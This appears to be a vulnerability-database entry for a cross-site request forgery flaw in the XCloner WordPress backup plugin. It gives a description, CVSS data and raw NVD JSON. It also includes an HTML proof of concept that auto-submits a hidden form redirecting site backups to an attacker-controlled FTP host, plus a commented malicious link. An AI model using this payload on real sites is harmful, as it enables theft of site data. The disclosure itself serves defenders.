CVE-2025-11759

Description

The Backup, Restore and Migrate your sites with XCloner plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.8.2. This is due to missing or incorrect nonce validation on the Xcloner_Remote_Storage:save() function. This makes it possible for unauthenticated attackers to add or modify an FTP backup configuration via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. Successful exploitation allows an attacker to set an attacker-controlled FTP site for backup storage and exfiltrate potentially sensitive site data.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

XCloner Backup and Restore plugin for WordPress <= 4.8.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-11759 -->
<!-- This PoC demonstrates how an attacker can trick an admin to modify FTP backup configuration -->
<!DOCTYPE html>
<html>
<head>
    <title>FTP Configuration Update</title>
</head>
<body>
    <h1>Please wait...</h1>
    <form id="csrfForm" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
        <input type="hidden" name="action" value="xcloner_save_remote_storage">
        <input type="hidden" name="remote_storage_type" value="ftp">
        <input type="hidden" name="ftp_host" value="attacker-controlled-ftp.example.com">
        <input type="hidden" name="ftp_port" value="21">
        <input type="hidden" name="ftp_username" value="attacker">
        <input type="hidden" name="ftp_password" value="malicious_password">
        <input type="hidden" name="ftp_path" value="/backups">
        <input type="hidden" name="ftp_passive" value="1">
        <input type="hidden" name="storage_name" value="Malicious FTP Storage">
    </form>
    <script>
        // Auto-submit form without user interaction
        document.getElementById('csrfForm').submit();
    </script>
</body>
</html>

<!-- Alternative PoC: Malicious Link -->
<!-- 
<a href="http://target-site.com/wp-admin/admin-ajax.php?action=xcloner_save_remote_storage&remote_storage_type=ftp&ftp_host=attacker.com&ftp_port=21&ftp_username=attacker&ftp_password=pass&storage_name=Malicious">Click here</a>
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11759
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11759
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11759/
[4] VulDB https://vuldb.com/cve/CVE-2025-11759
[5] https://plugins.trac.wordpress.org/changeset/3398881/xcloner-backup-and-restore
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/a76a8e36-635a-48a3-8683-c24a0395212e?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11759", "sourceIdentifier": "[email protected]", "published": "2025-12-05T03:15:56.450", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Backup, Restore and Migrate your sites with XCloner plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.8.2. This is due to missing or incorrect nonce validation on the Xcloner_Remote_Storage:save() function. This makes it possible for unauthenticated attackers to add or modify an FTP backup configuration via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. Successful exploitation allows an attacker to set an attacker-controlled FTP site for backup storage and exfiltrate potentially sensitive site data."}, {"lang": "es", "value": "El plugin Backup, Restore and Migrate your sites with XCloner para WordPress es vulnerable a la falsificación de petición en sitios cruzados en todas las versiones hasta la 4.8.2, inclusive. Esto se debe a la validación de nonce faltante o incorrecta en la función Xcloner_Remote_Storage:save(). Esto hace posible que atacantes no autenticados añadan o modifiquen una configuración de copia de seguridad FTP a través de una petición falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace. La explotación exitosa permite a un atacante establecer un sitio FTP controlado por el atacante para el almacenamiento de copias de seguridad y exfiltrar datos del sitio potencialmente sensibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3398881/xcloner-backup-and-restore", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a76a8e36-635a-48a3-8683-c24a0395212e?source=cve", "source": "[email protected]"}]}}